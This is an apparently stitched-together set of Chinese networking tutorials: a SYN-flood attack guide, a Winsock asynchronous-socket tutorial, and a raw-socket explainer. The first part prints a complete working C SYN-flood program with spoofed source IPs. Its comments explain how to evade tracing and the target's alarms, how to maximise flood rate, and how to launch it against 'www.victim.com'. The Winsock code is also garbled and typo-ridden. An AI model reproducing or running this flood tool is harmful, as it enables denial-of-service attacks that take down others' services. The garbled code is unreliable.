这个主题已经被很多人讨论过了，我只是将自己的心得体会表现出来，希望能给初学者一些启示。

本人水平拙劣，难免有所疏漏，请来信指 教。谢谢。

一、基础知识
首先，SYN Flood攻击是利用TCP协议设计上的缺陷从而形成的一种拒绝服务攻击，我们来看看
一 些基础的东西–TCP的“三次握手”

一个基于TCP的连接必须经过三次握手才能连接成功，如下图：
1、TCP Client ==[SYN]==> TCP Server
2、TCP Client <==[SYN/ACK]== TCP Server
3、 TCP Client ==[ACK]==> TCP Server
完成了上面三个步骤，那么TCP Client 和 TCP Server 才正式建立连接，可以发送或接受数据。

现在我们焦距第二步–服务端必须发送SYN/ACK给客户端，表示接受到了客户端 的SYN请求。如果发送完成后没有在一定的时间内收到客户端返回的ACK （比如网络拥挤的情况下），那么服务端将再次发送SYN/ACK，一直到客户端返回ACK或者RST表示连接重置为止。

现在假设在客户端 发送SYN以后就不再作任何应答，那么服务端既不能得到ACK回应，也没有RST终止连接，此时，他就会不断地重复第二步。试想，成千上万次这样的情况发 生后，服务器就会不堪重负资源耗尽。
OK，明白了基本原理，现在我们就要模拟这种情况的发生–我们在制造SYN Flood了：）
二、哪些服务使用TCP？
理论上讲，使用TCP的服务都有可能被SYN Flood攻击，以下这些服务是用TCP地：
Service Port
FTP 21
SMTP 25
HTTP 80
pop 110
当然，用TCP的服务还有许多，然而这些重要的服务是最容易被攻击的。

三、Raw Socket
大家一定已经知道，如果要在Linux下，利用Internet通讯那么就要用到套接字（SOCKET）。我们可以调用 socket();函数返回一个套接字描述符（详细的在下面的程序里讲）由此，RAW Socket从字面上理解就是原始套接字了。没有错！

我 们要制造SYN Flood当然要把TCP三次握手拆开来，自己来发包嘛，如果按照正常的定义一个socket，发包，那还攻击个P啊！

因 为我们不需要真正的连接，因此我们完全可以伪造自己的IP。这点很重要，你不会傻到把自己的IP地址提交给对方管理员吧。这也是为什么SYN Flood攻击很难找到真正的攻击者的原因。

这里说点题外话，在WIN2K下我们可以利用“WINSOCK2”来实现RAW Socket…

使用Raw socket必须拥有系统最高权限！(root@UNIX/Linux || administrator@windows2k)

四、一个例程
这个是我在JJgirl网站上找下来的例程，里 面/*jjgirl:*/表示是佳佳的注释，我的注释用/*clapnet:*/表示。这个程式是FOR BSD的，但我的注释里把他改成FOR Linux的了，已经在Linux7.2上编译通过

/*Clapnet:我们开始吧*/

/* Syn Attack against a port for Solaris */
/* Original land attack, land.c by m3lt, FLC */
/* Ported to 44BSD by blast and jerm */
/* Ported to Solaris by ziro antagonist */
/* Referenced flood.c by unknown author */
/* Converted into a syn attack against one port by CRG */
/* Please use this for educational purposes only */
/* Compiles on Solaris gcc -o synsol synsol.c -lsocket -lnsl */
/* Additional notes: */
/* Successfully compiled on Solaris 2.51 and 2.6 */
/* Runs: synsol <dstIP> <dstPort> <spoofedsrcIP> */
/* Tested it on: Solaris 2.6 */
/* Attacked against: */
/* Most of these test machines are not patched because they */
/* are in test lab. I tested the program against port 23 and */
/* every once in awhile I did get through. */
/* Direct any comments, questions, improvements to */
/* packetstorm@genocide2600.com */
/* http://www.genocide2600.com/~tattooman/ */
/* Your emails will be forwarded to the author, who wishes */
/* to remain known only as CRG (no email addy or URL) */
/*jjgirl:上面的注释的不用 说了！*/
#include <signal.h>
#include <stdio.h>
#include <stdlib.h>
#include <netdb.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <netinet/in_systm.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
#include <netinet/ip_icmp.h>
#include <ctype.h>
#include <arpa/inet.h>
#include <unistd.h>
#include <string.h>
#include <errno.h>
/*jjgirl:上面是头文件！*/

unsigned long srcport;

struct pseudohdr
{
struct in_addr saddr;
/*clapnet:源地址*/
struct in_addr daddr;
/*clapnet: 目的地址*/
u_char zero;
u_char protocol;
/*clapnet:协议类型*/
u_short length;
/*clapnet:TCP长度*/
struct tcphdr tcpheader;
};
/*jjgirl: 定义一个伪装地址的结构！*/

u_short checksum(u_short * data,u_short length)
{
int nleft = length;
int sum=0;
unsigned short *w = data;
unsigned short value = 0;

while (nleft > 1) {
sum += *w++;
nleft -= 2;
}

if (nleft == 1) {
*(unsigned char *) (&value) = *(unsigned char *) w;
sum += value;
}
sum = (sum >>16) + (sum & 0xffff);
sum += (sum >> 16);
value = ~sum;
return(value);
}
/*jjgirl:上面校验文件！包头是需要校验的，CRC校验！*/
/*clapnet: 因为我们使用RAW Socket发送数据报，所以我们只能自己来做校验*/

int main(int argc,char * * argv)
{/*jjgirl:主程序开始了！*/
struct sockaddr_in sin;
struct sockaddr_in din;
struct hostent * hoste;
struct hostent * host1;
int j,sock,foo, flooddot=1;
char buffer[40];
struct ip * ipheader=(struct ip *) buffer;
struct tcphdr * tcpheader=(struct tcphdr *) (buffer+sizeof(struct ip));
struct pseudohdr pseudoheader;
/*jjgirl:上面定义变量！*/

fprintf(stderr,”Syn attack against one port.(Infinite)\n”);

if(argc<4)
{
fprintf(stderr,”usage: %s <dstIP> <dstport> <spoofed-srcIP>\n”,argv[0]);
return(-1);
}
/*jjgirl:上面是判断参数！*/
/*clapnet:如果输入的格式错误，就显示详细使用方法我们可以看到他的 使用方法是：#<编译后的程式名> <目标地址> <目标端口> <我们伪装的地址> */
fprintf(stderr,”%s:%s is being syn’d attacked by %s.\n”,argv[1],argv[2],argv[3]);
bzero(&sin,sizeof(struct sockaddr_in)); /*write sizeof to &sin*/
sin.sin_family=AF_INET;

if((host1=gethostbyname(argv[3]))!=NULL)
/*clapnet:检查输入的伪装地址 是否符合格式要求，这里是以域名方式输入，并得到相对应的IP*/
bcopy(host1->h_addr,&din.sin_addr,host1->h_length);
else if((din.sin_addr.s_addr=inet_addr(argv[3]))==-1)
{/*clapnet: 检查输入的伪装地址是否符合格式要求，这里是以IP方式输入*/
fprintf(stderr,”unknown source host %s\n”,argv[3]);
return(-1);
}
if((hoste=gethostbyname(argv[1]))!=NULL)
/*clapnet:检查输入的目标地址是否符合格式要求，这里是以域名方式输入，并得到相对应的IP*/
bcopy(hoste->h_addr,&sin.sin_addr,hoste->h_length);
else if((sin.sin_addr.s_addr=inet_addr(argv[1]))==-1)
{/*clapnet: 检查输入的目标地址是否符合格式要求，这里是以IP方式输入*/
fprintf(stderr,”unknown destination host %s\n”,argv[1]);
return(-1);
}

if((sin.sin_port=htons(atoi(argv[2])))==0)
/*clapnet:检查输入的目标端口是否符合要求*/
{
fprintf(stderr,”unknown port %s\n”,argv[2]);
return(-1);
}

/*jjgirl:上面是给sockaddr_in结构赋 值，需要指明协议，端口号！*/

if((sock=socket(AF_INET,SOCK_RAW,255))==-1)
{/*clapnet: 大家看清了，在以RAW socket方式构造套接字描述符*/
fprintf(stderr,”couldn’t allocate raw socket\n”);
return(-1);
}
/*jjgirl:上面开始Socket了！*/

foo=1;
if(setsockopt(sock,0,IP_HDRINCL,(char *)&foo,sizeof(int))==-1)
{
fprintf(stderr,”couldn’t set raw header on socket\n”);
return(-1);
}
/*jjgirl:上面是为了重构报头！*/

for(j=1;j>0;j++)
{
/*clapnet: 进入循环，开始攻击了。
这里的j用在下面显示发包次数，但我个人并不赞同这么做。显示攻击次数会降低整个程序执行效率。我们要的就是洪水，我不 关心洪水的流量！
所以，如果你同意我的观点，把for 改成 while(1)就可以了*/

bzero(&buffer,sizeof(struct ip)+sizeof(struct tcphdr));
ipheader->ip_v=4;
/*clapnet:题外话： 目前使用的IP版本都是4*/
ipheader->ip_tos=0;
ipheader->ip_hl=sizeof(struct ip)/4;
ipheader->ip_len=sizeof(struct ip)+sizeof(struct tcphdr);
ipheader->ip_id=htons(random());
ipheader->ip_ttl=30; /*255;*/
/*clapnet:IP包的生命周期ttl=time to life*/
ipheader->ip_p=IPPROTO_TCP;
ipheader->ip_sum=0;
ipheader->ip_src=din.sin_addr;
ipheader->ip_dst=sin.sin_addr;

tcpheader->th_sport=htons(srcport); /*sin.sin_port;*/
tcpheader->th_dport=sin.sin_port;
tcpheader->th_seq=htonl(0×28374839);
tcpheader->th_flags=TH_SYN;
tcpheader->th_off=sizeof(struct tcphdr)/4;
tcpheader->th_win=htons(2048);
tcpheader->th_sum=0;

/*clapnet:嘿嘿，按照上面的进行编译，在Linux上是不会通过 地！我在这里耽搁了30分钟。
大家有兴趣可以看看tcp.h，上面的定义是给Free BSD地，如果是用Linux的兄弟，要这样改
tcpheader->source=htons(srcport);
源端口号
tcpheader->dest=in.sin_port;
目的端口号
tcpheader->seq=htonl(0×28374839);
SYN序列号
tcpheader->ack=0;
ACK序列号置为0
tcpheader->syn=1;
SYN 标志
tcpheader->doff=sizeof(struct tcphdr)/4;
tcpheader->window=htons(2048);
窗口大小
tcpheader->check=0;
*/
bzero(&pseudoheader,12+sizeof(struct tcphdr));
pseudoheader.saddr.s_addr=din.sin_addr.s_addr;
/*clapnet: 源地址*/
pseudoheader.daddr.s_addr=sin.sin_addr.s_addr;
/*clapnet:目 的地址*/
pseudoheader.protocol=6;
/*clapnet:协议类型*/
pseudoheader.length=htons(sizeof(struct tcphdr));
/*clapnet:TCP首部长度*/
bcopy((char *) tcpheader,(char *) &pseudoheader.tcpheader,sizeof(struct tcphdr));
tcpheader->check=checksum((u_short *) &pseudoheader,12+sizeof(struct tcphdr));
/*jjgirl:上面是重构报头！*/

srcport= (10000.0*random()/(15000+1.0));
/*jjgirl:端口当然要 变！*/
/*clapnet:佳佳为什么强调端口一定要变呢？
Easy！当对方收到来自同一个地址，同一个端口的数据包到达一定数量 时，很容易触发对方的报警机制，从而作出一定的反映…
当然，如果要做到尽善尽美，连虚拟的IP地址也要不断地变。这样才能使对方措手不及！
*/

if(sendto(sock,buffer,sizeof(struct ip)+sizeof(struct tcphdr),0,(struct sockaddr *) &sin,sizeof(struct sockaddr_in))==-1)
/*jjgirl: 攻击开始！*/
/*clapnet:使用sendto函数发送我们制定的包*/
{
fprintf(stderr,”couldn’t send packet,%d\n”,errno);
return(-1);
}
usleep(2);
if (!(flooddot = (flooddot+1)%(1)))
{fprintf(stdout,”.”);fflush(stdout);}

/*jjgirl:显示次数！ Jjgirl 把上面一句,改为如下两句,增加显示效果,随你的便！
{fprintf(stdout,”.%4d”,j);fflush(stdout);}
int k=j; if((k%10)==0) printf(“\n”); */

} /*The end of the infinite loop*/
/*clapnet:注意，上面的循环可是死循环哦，到什么时候跳出，你自己根据喜好加代码*/
close(sock);
return(0);
}
/*jjgirl:结束！编译试试吧！如果有看不懂可以给我留言,或来信 jjgirl@263.net,或复习前面的课程！*/
/*jjgirl:若有人引用本文,请事先通知,并请保持完整性！*/

/*clapnet: 编译试试：
#gcc -o syn_flood syn_flood.c
注意到#了吗？不是root就免谈咯：）
Go go go！ Fire in the hole…！enemy down….
#./syn_flood www.victim.com 80 xxx.xxx.xxx.xxx
*/

对于许多初学者来说，网络通信程序的开发，普遍的一个现象就是觉得难以入手。许多概念，诸如：同步(Sync)/异步(Async)，阻塞(Block) /非阻塞(Unblock)等，初学者往往迷惑不清，只知其所以而不知起所以然。

同步方式指的是发送方不等接收方响应，便接着发下个 数据包的通信方式；而异步指发送方发出数据后，等收到接收方发回的响应，才发下一个数据包的通信方式。

阻塞套接字是指执行此套接字的 网络调用时，直到成功才返回，否则一直阻塞在此网络调用上，比如调用recv()函数读取网络缓冲区中的数据，如果没有数据到达，将一直挂在recv() 这个函数调用上，直到读到一些数据，此函数调用才返回；而非阻塞套接字是指执行此套接字的网络调用时，不管是否执行成功，都立即返回。比如调用 recv()函数读取网络缓冲区中数据，不管是否读到数据都立即返回，而不会一直挂在此函数调用上。在实际Windows网络通信软件开发中，异步非阻塞 套接字是用的最多的。平常所说的C/S（客户端/服务器）结构的软件就是异步非阻塞模式的。

对于这些概念，初学者的理解也许只能似是 而非，我将用一个最简单的例子说明异步非阻塞Socket的基本原理和工作机制。目的是让初学者不仅对Socket异步非阻塞的概念有个非常透彻的理解， 而且也给他们提供一个用Socket开发网络通信应用程序的快速入门方法。操作系统是Windows 98（或NT4.0），开发工具是Visual C++6.0。

MFC提供了一个异步类CAsyncSocket，它封装了异步、非阻塞Socket的基本功能，用它做常用的网络通 信软件很方便。但它屏蔽了Socket的异步、非阻塞等概念，开发人员无需了解异步、非阻塞Socket 的原理和工作机制。因此，建议初学者学习编网络通信程序时，暂且不要用MFC提供的类，而先用Winsock2 API，这样有助于对异步、非阻塞Socket编程机制的理解。

为了简单起见，服务器端和客户端的应用程序均是基于MFC的标准对话 框，网络通信部分基于Winsock2 API实现。

先做服务器端应用程序

用MFC向导做一个基 于对话框的应用程序SocketSever，注意第三步中不要选上Windwos Sockets选项。在做好工程后，创建一个SeverSock，将它设置为异步非阻塞模式，并为它注册各种网络异步事件，然后与自定义的网络异步事件联 系上，最后还要将它设置为监听模式。在自定义的网络异步事件的回调函数中，你可以得到各种网络异步事件，根据它们的类型，做不同的处理。下面将详细介绍如 何编写相关代码。

在SocketSeverDlg.h文件的类定义之前增加如下定义：

#define NETWORK_EVENT WM_USER+166 file://定义网络事件 SOCKET ServerSock; file://服务器端Socket

在类定义中增加如下定义：

class CSocketSeverDlg : CDialog { … public: SOCKET ClientSock[CLNT_MAX_NUM]; file://存储与客户端通信的Socket的数组 /*各种网络异步事件的处理 函数*/ void OnClose(SOCKET CurSock); file://对端Socket断开 void OnSend(SOCKET CurSock); file://发送网络数据包 void OnReceive(SOCKET CurSock); file://网络数据包到达 void OnAccept(SOCKET CurSock); file://客户端连接请求 BOOL InitNetwork(); file://初始化网络函数 void OnNetEvent(WPARAM wParam, LPARAM lParam); file://异步事件回调函数 … };

在SocketSeverDlg.cpp文件中增加消息映射，其中OnNetEvent是异步事件回调函数名：

ON_MESSAGE(NETWORK_EVENT,OnNetEvent)

定义初始化网络函数，在SocketSeverDlg.cpp文件的OnInitDialog（）中调此函数即可。

BOOL CSocketSeverDlg::InitNetwork() { WSADATA wsaData; file://初始 化TCP协议 BOOL ret = WSAStartup(MAKEWORD(2,2), &wsaData); if(ret != 0) { MessageBox(“初始化网络协议失败!”); return FALSE; } file:// 创建服务器端套接字 ServerSock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); if(ServerSock == INVALID_SOCKET) { MessageBox(“创建套接字失败!”); closesocket(ServerSock); WSACleanup(); return FALSE; } file://绑定到本地一个端口上 sockaddr_in localaddr; localaddr.sin_family = AF_INET; localaddr.sin_port = htons(8888); file://端口号不要与其他应用程序冲突 localaddr.sin_addr.s_addr = 0; if(bind(ServerSock ,(struct sockaddr*)&localaddr,sizeof(sockaddr)) = = SOCKET_ERROR) { MessageBox(” 绑定地址失败!”); closesocket(ServerSock); WSACleanup(); return FALSE; } file:// 将SeverSock设置为异步非阻塞模式，并为它注册各种网络异步事件，其 中 m_hWnd file://为应用程序的主对话框或主窗口的 句柄 if(WSAAsyncSelect(ServerSock, m_hWnd, NETWORK_EVENT, FD_ACCEPT | FD_CLOSE | FD_READ | FD_WRITE) == SOCKET_ERROR) { MessageBox(“注册网 络异步事件失败!”); WSACleanup(); return FALSE; } listen(ServerSock, 5); file://设置侦听模式 return TRUE; }

下面定 义网络异步事件的回调函数

void CSocketSeverDlg::OnNetEvent(WPARAM wParam, LPARAM lParam) { file:// 调用Winsock API函数，得到网络事件类型 int iEvent = WSAGETSELECTEVENT(lParam); file:// 调用Winsock API函数，得到发生此事件的客户端套接字 SOCKET CurSock= (SOCKET)wParam; switch(iEvent) { case FD_ACCEPT: file://客户端连接请求事件 OnAccept(CurSock); break; case FD_CLOSE: file://客户端断开事件: OnClose(CurSock); break; case FD_READ: file://网络数据包到达事件 OnReceive(CurSock); break; case FD_WRITE: file://发送网络数据事件 OnSend(CurSock); break; default: break; } }

以下是发生在相应Socket上的各种网络异步事件 的处理函数，其中OnAccept传进来的参数是服务器端创建的套接字，OnClose()、 OnReceive()和OnSend()传进来的参数均是服务器端在接受客户端连接时新创建的用与此客户端通信的Socket。

void CSocketSeverDlg::OnAccept(SOCKET CurSock) { file://接受连接请求，并保存与发起连接 请求的客户端进行通信Socket file://为新的socket注册异步事件，注意没有Accept事件 } void CSocketSeverDlg::OnClose(SOCET CurSock) { file://结束与相应的客户端的通信，释放相 应资源 } void CSocketSeverDlg::OnSend(SOCET CurSock) { file:// 在给客户端发数据时做相关预处理 } void CSocketSeverDlg::OnReceive(SOCET CurSock) { file://读出网络缓冲区中的数据包 }

用同样的方法建立一个客户端应用程序。初始化网络部分，不需要将套接字设置为监听模式。注册异步事件时，没有FD_ACCEPT，但增加了 FD_CONNECT事件，因此没有OnAccept()函数，但增加了OnConnect()函数。向服务器发出连接请求时，使用connect()函 数，连接成功后，会响应到OnConnect()函数中。下面是OnConnect()函数的定义，传进来的参数是客户端Socket和服务器端发回来的 连接是否成功的标志。

void CSocketClntDlg::OnConnect(SOCKET CurSock, int error) { if(0 = = error) { if(CurSock = = ClntSock) MessageBox(“连接服务器成功!”); } }

定义OnReceive()函数，处理网络数据到达事件;

定义OnSend()函数，处理发送网络数据事件;

定义OnClose()函数，处理服务器的关闭事件。

以上就是用基于Windows消息机制的异步I/O模型做服务器和客户端应用程 序的基本方法。另外还可以用事件模型、重叠模型或完成端口模型，读者可以参考有关书籍。

在实现了上面的例子后，你将对Winsock 编网络通信程序的机制有了一定的了解。接下来你可以进行更精彩的编程, 不仅可以在网上传输普通数据，而且还以传输语音、视频数据，你还可以自己做一个网络资源共享的服务器软件，和你的同学在实验室的局域网里可以共同分享你的 成果。

众所周知,通过socket编程,我们能够实现机器之间的通信.在TCP/IP协议簇(PF_INET)中,可以建立面向连接的SOCK_STREAM类 型的socket,非连接的SOCK_DGRAM类型的socket.事实上,在所有的网络程序中,也是这两种socket用的最为广泛.除此之外,还有 一些不常用的socket类型,它们却是在某些网络通信中担当重要的角色.这里要讲的就是这么一种socket,称之为 raw socket.raw socket的作用主要在三个方面:
1.通过raw socket来接受发向本机的ICMP,IGMP协议 包,或者用来发送这些协议包.
2.接受发向本机的但TCP/IP栈不能够处理的IP包.
3.用来发送一些自己制定源地址特殊作用 的IP包(自己写IP头,TCP头等等)

我们知道,平时我们想看一看网络是否通达,就用ping命令测试一些.ping 命令用的是 ICMP协议.因此,我们不能够通过建立一个 SOCK_STREAM或SOCK_DGRAM来发送这个包,只能够自己亲自来构建ICMP包来发送.这是一种情况.另一种情况是:现在许多操作系统在实 现网络部分的时候,通常只实现了常用的几种协议, 如tcp,udp,icmp等,但象其它的如ospf,ggp等协议,操作系统往往没有实现,如果自己 有必要编写位于其上的应用,就必须借助raw socket来实现,这是因为操作 系统遇到自己不能够处理的数据包(ip头中的protocol所指定的 上层协议不能处理).就将这个包交给raw socket.而最后一种使用raw socket的目的主要是用来构建一些特殊的协议头,比如我们想对某台 机器进行denial of service类型的攻击,但是有不想留下痕迹,让别人知道IP包的来源,这时候就可以使用rawsocket来发送这些伪 造源地址信息的包,这其实也是这种攻击所采用的主要技术手段.当然了,我说的是HACKER行为,之所以想要处理这些特殊的IP包,通常也是为了诊断网络 的目的.

raw socket的建立是通过如下方式的:

sockfd = socket(PF_INET, SOCK_RAW, protocol);

第一个参数就不必讲了,第二个参数说明建立的是一个raw socket,第三个参数倒是需要详细解说一下.这里分三种情况:
1. 参数protocol用来指明所要接收的协议包,如果是象IPPROTO_TCP(6)这种非0,非255的协议,则内核碰到ip头中 protocol域和创建socket所使用参数protocol相同的IP包,就会交给这个rawsocket来处理.因此,一般说来,要想接收什么样 的数据包,就应该在参数protocol里来指定相应的协议.当内核向此raw socket交付数据包的时候,是包括整个IP头的,并且已经是重组好的 IP包. 如下:

—————————————————————
|ip header|tcp header(or x header)| data |
—————————————————————
用recvfrom 收到的数据包括一个IP头,一个相应的协议头,然后是数据(数据也可以为空,就看实际情况了). 但当我们发送IP包的时候, 却不用亲自处理IP包头,只需要填 充参数protocol所指定的相应的协议头即可.也就是说,用sendto的时候,我们提供给它的缓冲区数据是从 IP包头的第一个字节开始,如下,只需要构造这么一个缓冲区就可以了.

————————————————————–
|tcp header(or udp header or x header)| data |
————————————————————–
如果想自己也想亲自处理IP头,则需要IP_HDRINCL的socket选项.如下:

int flag = 1;
setsockopt(sockfd, IPPROTO_IP, IP_HDRINCL, &flag, sizeof(int));

这样,发送时所要提供的缓冲区有成如下形式:

—————————————————————
|ip header|tcp header(or x header)| data |
—————————————————————
但是,即时是这种情况,在我们发送IP包的时候.也不是填充ip头的所有字段,而是应该将ip头的id(identification)字段设 置为0,表示让内核来处理这个字段.同时,内核还帮你完成ip头的校验和的计算,并随后填充check字段.

2.如果 protocol是IPPROTO_RAW(255),这时候,这个socket只能用来发送IP包,而不能接收任何数据.发送的数据需要自己填充IP包 头,并且自己计算校验和.
3.对于protocol为0(IPPROTO_IP)的raw socket. 在linux和sco unix 上是不允许建立的.我没有再试过其他操作系统,谁能给我一个答案:)

对于raw socket,只有root权限才能够创建.
这 里对raw socket总结一下: 当内核接收到IP包的时候,首先检查ip包的protocol域,当存在与此域匹配的 raw socket时,就将包先传给此raw socket,然后交给相应的上层协议处理.交给raw socket的数据是包括IP头并且已经重组完 成后的.当使用raw socket发送包的时候,如果raw socket创建时的protocol不是0或255,并且没有设置IP_HDRINCL 选项,则发送的数据不包括IP头.如果此选项置位,则需要自己构件IP头.如果创建protocol为255的raw socket,此 rawsocket只能用来发送包括IP头,自己构建IP包.

附录:
IP头结构:

struct iphdr

|——-|——–|—————|——————————-|
|version| ihl | tos | tot_len |
|——-|——–|—————|——————————-|
| id | | frag_off |
|—————-|—————|——————————-|
| ttl | protocol | check |
|—————-|—————|——————————-|
| saddr |
|—————————————————————-|
| daddr |
|—————————————————————-|

参考书籍:
Unix Network Programming (Volume 1 SECOND EDITION P655-P702)